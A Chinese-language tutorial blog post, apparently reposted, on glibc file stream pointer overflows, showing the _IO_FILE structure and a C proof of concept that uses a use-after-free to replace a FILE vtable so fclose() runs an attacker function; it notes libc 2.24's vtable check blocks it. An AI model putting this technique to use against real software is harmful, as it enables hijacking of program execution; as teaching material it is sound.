文件流指针溢出--File Stream Pointer Overflows

概述

文件流指针溢出属于溢出利用方式的一种,主要存在于流函数(fopen(), fread(), fclose()等)。主要通过伪造在堆上的FILE结构体,覆盖结构体上的函数指针达到控制执行流的目的。

首先认识IO_FILE 结构体

 273 struct _IO_FILE {
 274   int _flags;           /* High-order word is _IO_MAGIC; rest is flags. */
 275 #define _IO_file_flags _flags
 276 
 277   /* The following pointers correspond to the C++ streambuf protocol. */
 278   /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
 279   char* _IO_read_ptr;   /* Current read pointer */
 280   char* _IO_read_end;   /* End of get area. */
 281   char* _IO_read_base;  /* Start of putback+get area. */
 282   char* _IO_write_base; /* Start of put area. */
 283   char* _IO_write_ptr;  /* Current put pointer. */
 284   char* _IO_write_end;  /* End of put area. */
 285   char* _IO_buf_base;   /* Start of reserve area. */
 286   char* _IO_buf_end;    /* End of reserve area. */
 287   /* The following fields are used to support backing up and undo. */
 288   char *_IO_save_base; /* Pointer to start of non-current get area. */
 289   char *_IO_backup_base;  /* Pointer to first valid character of backup area */
 290   char *_IO_save_end; /* Pointer to end of non-current get area. */
 291 
 292   struct _IO_marker *_markers;
 293 
 294   struct _IO_FILE *_chain;
 295 
 296   int _fileno;
 297 #if 0
 298   int _blksize;
 299 #else
 300   int _flags2;
 301 #endif
 302   _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
 303 
 304 #define __HAVE_COLUMN /* temporary */
 305   /* 1+column number of pbase(); 0 is unknown. */
 306   unsigned short _cur_column;
 307   signed char _vtable_offset;
 308   char _shortbuf[1];
 309 
 310   /*  char* _save_gptr;  char* _save_egptr; */
 311 
 312   _IO_lock_t *_lock;
 313 #ifdef _IO_USE_OLD_IO_FILE
 314 };
FILE *fp;
fp = open("xxxx","xx");

这个过程中 glibc分配了一个结构struct _IO_FILE_plus 其中包括 struct _IO_FILE 和一个指向struct _IO_jump_t的指针。

struct _IO_FILE_plus {
  _IO_FILE;
 const struct _IO_jump_t *vtable;
};


_IO_jump_t 中包含着例如fclose() 等相关函数的地址 ,伪造这个结构替换fclose的地址即可实现控制。

示例UAF

#include <stdio.h>
#include <stdlib.h>

void pwn(void)
{
    printf("Dave, my mind is going.
");
    fflush(stdout);
}

void * funcs[] = {
    NULL, // "extra word"
    NULL, // DUMMY
    exit, // finish
    NULL, // overflow
    NULL, // underflow
    NULL, // uflow
    NULL, // pbackfail
    NULL, // xsputn
    NULL, // xsgetn
    NULL, // seekoff
    NULL, // seekpos
    NULL, // setbuf
    NULL, // sync
    NULL, // doallocate
    NULL, // read
    NULL, // write
    NULL, // seek
    pwn,  // close
    NULL, // stat
    NULL, // showmanyc
    NULL, // imbue
};

int main(int argc, char * argv[])
{   
    FILE *fp;
    unsigned char *str;

    printf("sizeof(FILE): 0x%x
", sizeof(FILE));

    /* Allocate and free enough for a FILE plus a pointer. */
    str = malloc(sizeof(FILE) + sizeof(void *));
    printf("freeing %p
", str);
    free(str);

    /* Open a file, observe it ended up at previous location. */
    if (!(fp = fopen("/dev/null", "r"))) {
        perror("fopen");
        return 1;
    }
    printf("FILE got %p
", fp);
    printf("_IO_jump_t @ %p is 0x%08lx
",
           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));

    /* Overwrite vtable pointer. */
    *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
    printf("_IO_jump_t @ %p now 0x%08lx
",
           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));

    /* Trigger call to pwn(). */
    fclose(fp);

    return 0;
}

示例程序使用了UAF use after free 技术 ,也就是先请求一块内存再free掉,但是指向这块内存的指针str却并没有失效。
然后这块内存又被分配给了FILE结构体使用,因此我们使用str指针就可以修改FILE结构体,劫持函数。
执行的结果如下

但是另一台机器上执行结果却不一样

由于libc-2.24.so的vtable check的限制,检测到了vtable做了修改。

想找一个CTF题目来练习一下,不过题目大都结合了heap attack,先放在这里未完待续。

原文地址:https://www.cnblogs.com/moonnight/p/8280577.html